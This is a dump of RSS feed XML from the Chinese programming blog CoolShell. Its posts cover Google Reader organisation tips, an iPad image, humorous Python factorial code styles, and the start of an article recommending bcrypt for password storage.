CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2097.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>分享：我是如何使用Google Reader的</title>\n\t\t<link>https://coolshell.cn/articles/2091.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2091.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 07 Feb 2010 01:35:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Google Reader]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2091</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信不少读者都是通过Google Reader (貌似没有中文名) 看到本文的，而多数Google Reader的爱好者都是贪婪的。如果你像我一样，估计未读数量...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2091.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2091.html\">分享：我是如何使用Google Reader的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>相信不少读者都是通过Google Reader (貌似没有中文名) 看到本文的，而多数Google Reader的爱好者都是贪婪的。如果你像我一样，估计未读数量从来都是1000+。遇到强迫症就麻烦了。下面一个方法能让阅读变得有“轻重缓急”。</p>\n<ol>\n<li>承认不是所有种子一样重要，有些更新你想立刻知道（例如某新闻类的博客：<a href=\"http://www.google.org.cn/\">古奥</a>），有些只是希望不要错过（例如某经典博客：<a href=\"http://www.joelonsoftware.com/\">Joe l on Software</a>），还有一些可能只是娱乐用的（例如：<a href=\"http://jandan.net/\">煎蛋</a>）</li>\n<li>Reader是可以为种子建文件夹的，所有“重要而必读”的种子都可以放在一个文件夹里，文件夹的名称最好是用“_” 开头，这样排序的时候可以在最前面（见图解）</li>\n<li>每当打开Google Reader的时候，先看重要的种子即可，其他的有时间再读。</li>\n</ol>\n<p>笔者的Reader界面（献丑了）</p>\n<p style=\"padding-left: 30px;\">\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/reader2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2094\" title=\"reader2\" src=\"https://coolshell.cn/wp-content/uploads/2010/02/reader2.png\" alt=\"\" width=\"1041\" height=\"804\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/02/reader2.png 1041w, https://coolshell.cn/wp-content/uploads/2010/02/reader2-300x232.png 300w, https://coolshell.cn/wp-content/uploads/2010/02/reader2-768x593.png 768w, https://coolshell.cn/wp-content/uploads/2010/02/reader2-1024x791.png 1024w, https://coolshell.cn/wp-content/uploads/2010/02/reader2-350x270.png 350w\" sizes=\"(max-width: 1041px) 100vw, 1041px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2091.html\">分享：我是如何使用Google Reader的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2091.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>iPad进化图</title>\n\t\t<link>https://coolshell.cn/articles/2086.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2086.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 06 Feb 2010 02:53:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[iPad]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2086</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章10个必需的iOS开发工具和资源消费者的消费观苹果...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2086.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2086.html\">iPad进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2087\" title=\"iPad 进化图\" src=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad.jpg\" alt=\"\" width=\"350\" height=\"1456\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad.jpg 350w, https://coolshell.cn/wp-content/uploads/2010/02/ipad-72x300.jpg 72w, https://coolshell.cn/wp-content/uploads/2010/02/ipad-246x1024.jpg 246w, https://coolshell.cn/wp-content/uploads/2010/02/ipad-65x270.jpg 65w\" sizes=\"(max-width: 350px) 100vw, 350px\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"10个必需的iOS开发工具和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_title\">10个必需的iOS开发工具和资源</a></li><li ><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/1-150x150.png\" alt=\"消费者的消费观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_title\">消费者的消费观</a></li><li ><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"苹果开发工具Xcode 4 第二预览版\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_title\">苹果开发工具Xcode 4 第二预览版</a></li><li ><a href=\"https://coolshell.cn/articles/2917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"Did You Know?\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2917.html\" class=\"wp_rp_title\">Did You Know?</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" alt=\"Python脚本如何对文件通配符匹配\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/444.html\" class=\"wp_rp_title\">Python脚本如何对文件通配符匹配</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2086.html\">iPad进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2086.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python程序员的进化</title>\n\t\t<link>https://coolshell.cn/articles/2082.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2082.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 01 Feb 2010 09:42:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2082</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过一篇《程序员的进化》，以一种幽默的代码展现方式调侃了程序。下面这篇是关于Python程序员的。以阶乘为例，很有意思。 新手程序员 def fact...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2082.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2082.html\">Python程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发布过一篇《<a href=\"https://coolshell.cn/articles/172.html\" target=\"_blank\">程序员的进化</a>》，以一种幽默的代码展现方式调侃了程序。下面这篇是关于Python程序员的。以阶乘为例，很有意思。</p>\n<h4>新手程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def factorial(x):\n    if x == 0:\n        return 1\n    else:\n        return x * factorial(x - 1)\nprint factorial(6)</pre>\n<h4>\n第一年的刚学完Pascal的新手</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def factorial(x):\n    result = 1\n    i = 2\n    while i &lt;= x:\n        result = result * i\n        i = i + 1\n    return result\nprint factorial(6)</pre>\n<h4><span id=\"more-2082\"></span></h4>\n<h4>\n第一年的刚学完C语言的新手</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def fact(x): #{\n    result = i = 1;\n    while (i &lt;= x): #{\n        result *= i;\n        i += 1;\n    #}\n    return result;\n#}\nprint(fact(6))</pre>\n<h4>\n第一年刚学完SICP的新手</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">@tailcall\ndef fact(x, acc=1):\n    if (x &gt; 1): return (fact((x - 1), (acc * x)))\n    else:       return acc\nprint(fact(6))</pre>\n<h4>\n第一年刚学完Python的新手</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def Factorial(x):\n    res = 1\n    for i in xrange(2, x + 1):\n        res *= i\n    return res\nprint Factorial(6)</pre>\n<h4>\n爱偷懒的程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def fact(x):\n    return x &gt; 1 and x * fact(x - 1) or 1\nprint fact(6)</pre>\n<h4>\n更懒的 Python 程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">f = lambda x: x and x * f(x - 1) or 1\nprint f(6)</pre>\n<h4>\nPython 专家</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import operator as op\nimport functional as f\nfact = lambda x: f.foldl(op.mul, 1, xrange(2, x + 1))\nprint fact(6)</pre>\n<h4>Python 黑客</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import sys\n@tailcall\ndef fact(x, acc=1):\n    if x: return fact(x.__sub__(1), acc.__mul__(x))\n    return acc\nsys.stdout.write(str(fact(6)) + &#039;\\n&#039;)</pre>\n<h4>\n专家级程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import c_math\nfact = c_math.fact\nprint fact(6)</pre>\n<h4>\n英语系的专家级程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import c_maths\nfact = c_maths.fact\nprint fact(6)</pre>\n<h4>\nWeb 设计者</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def factorial(x):\n    #-------------------------------------------------\n    #--- Code snippet from The Math Vault          ---\n    #--- Calculate factorial (C) Arthur Smith 1999 ---\n    #-------------------------------------------------\n    result = str(1)\n    i = 1 #Thanks Adam\n    while i &lt;= x:\n        #result = result * i  #It&#039;s faster to use *=\n        #result = str(result * result + i)\n           #result = int(result *= i) #??????\n        result str(int(result) * i)\n        #result = int(str(result) * i)\n        i = i + 1\n    return result\nprint factorial(6)</pre>\n<h4>\nUnix 程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import os\ndef fact(x):\n    os.system(&#039;factorial &#039; + str(x))\nfact(6)</pre>\n<h4>\nWindows 程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">NULL = None\ndef CalculateAndPrintFactorialEx(dwNumber,\n                                 hOutputDevice,\n                                 lpLparam,\n                                 lpWparam,\n                                 lpsscSecurity,\n                                 *dwReserved):\n    if lpsscSecurity != NULL:\n        return NULL #Not implemented\n    dwResult = dwCounter = 1\n    while dwCounter &lt;= dwNumber:\n        dwResult *= dwCounter\n        dwCounter += 1\n    hOutputDevice.write(str(dwResult))\n    hOutputDevice.write(&#039;\\n&#039;)\n    return 1\nimport sys\nCalculateAndPrintFactorialEx(6, sys.stdout, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)</pre>\n<h4>\n公司里的程序员</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def new(cls, *args, **kwargs):\n    return cls(*args, **kwargs)\n\nclass Number(object):\n    pass\n\nclass IntegralNumber(int, Number):\n    def toInt(self):\n        return new (int, self)\n\nclass InternalBase(object):\n    def __init__(self, base):\n        self.base = base.toInt()\n\n    def getBase(self):\n        return new (IntegralNumber, self.base)\n\nclass MathematicsSystem(object):\n    def __init__(self, ibase):\n        Abstract\n\n    @classmethod\n    def getInstance(cls, ibase):\n        try:\n            cls.__instance\n        except AttributeError:\n            cls.__instance = new (cls, ibase)\n        return cls.__instance\n\nclass StandardMathematicsSystem(MathematicsSystem):\n    def __init__(self, ibase):\n        if ibase.getBase() != new (IntegralNumber, 2):\n            raise NotImplementedError\n        self.base = ibase.getBase()\n\n    def calculateFactorial(self, target):\n        result = new (IntegralNumber, 1)\n        i = new (IntegralNumber, 2)\n        while i &lt;= target:\n            result = result * i\n            i = i + new (IntegralNumber, 1)\n        return result\n\nprint StandardMathematicsSystem.getInstance(new (InternalBase, new (IntegralNumber, 2))).calculateFactorial(new (IntegralNumber, 6))</pre>\n<p>摘自：<a href=\"http://gist.github.com/289467\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2082.html\">Python程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2082.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-32.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 32 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=32\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 21 Dec 2011 15:17:10 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>如何防范密码被破解</title>\n\t\t<link>https://coolshell.cn/articles/2078.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2078.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 01 Feb 2010 09:18:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[bcrypt]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2078</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你会用什么样的算法来为你的用户保存密码？如果你还在用明码的话，那么一旦你的网站被hack了，那么你所有的用户口令都会被泄露了，这意味着，你的系统或是网站就此完蛋...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2078.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你会用什么样的算法来为你的用户保存密码？如果你还在用明码的话，那么一旦你的网站被hack了，那么你所有的用户口令都会被泄露了，这意味着，你的系统或是网站就此完蛋了。所以，我们需要通过一些不可逆的算法来保存用户的密码。比如：MD5, SHA1, SHA256, SHA512, SHA-3,等Hash算法。这些算法都是不可逆的。系统在验证用户的口令时，需要把Hash加密过后的口令与后面存放口令的数据库中的口令做比较，如果一致才算验证通过。</p>\n<p>但你觉得这些算法好吗？我说的是：MD5, SHA1, SHA256, SHA512, SHA-3。如果你使用的是MD5算法来加密你的口令，如果你的口令长度只有小写字母再加上数字，假设口令的长度是6位，那么在目前一台比较新一点的PC机上，穷举所有的口令只需要40秒钟。而据我们了解，几乎有90%以上的用户只用小写字母和数字来组织其口令。对于6位长度的密码只需要最多40秒就可以破解了，这可能会吓到你。</p>\n<p>如果你愿意花2000美金和一周的时间来构建一个<a href=\"http://www.nvidia.com/object/cuda_home.html\" target=\"_blank\">CUDA</a>，那么，你可以在你组建的这个集群中使用进行密码穷举运算，其速度是，<a href=\"http://www.win.tue.nl/cccc/sha-1-challenge.html\" target=\"_blank\">1秒钟可以计算7亿个口令</a>。对于目前实际当中使用的比较复杂的口令，其破解率也可以高达每秒一个。当然，这里说的算法是MD5，SHA之类的算法。</p>\n<p>那么，对于这样的一种情况来说，我们怎么办？我们还是有办法的。</p>\n<p><span id=\"more-2078\"></span></p>\n<p>我们知道MD5，SHA的算法速度太快了。所以，我们需要一个“慢一点”的加密算法。呵呵。bcrypt是这样的一个算法，因为它很慢，对于计算机来说，其慢得有点BT了，但却慢得刚刚好！对于验证用户口令来说是不慢的，对于穷举用户口令来说，其会让那些计算机变得如同蜗牛一样。</p>\n<p>因为bcrypt采用了一系列各种不同的Blowfish加密算法，并引入了一个work factor，这个工作因子可以让你决定这个算法的代价有多大。因为这些，这个算法不会因为计算机CPU处理速度变快了，而导致算法的时间会缩短了。因为，你可以增加work factor来把其性能降下来。呵呵。</p>\n<p>那么，bcrypt到底有多慢？如果和MD5一起来比较的话，如果使用值为12的work factor的话，如果加密“cool”的话，bcrypt需要0.3秒，而MD5只需要一微秒（百万分之一秒）。也就是说，前面我们说的那个只需要40秒就可以穷举完所有的可能的MD5编码的口令的算法，在使用bcrypt下，需要12年。</p>\n<p>这就是bcrypt给你带来的选择，<strong>你可以一个安全的口令和一个快速的加密算法，或是一个不怎么安全的口令和一个性能不好的加密算法</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" 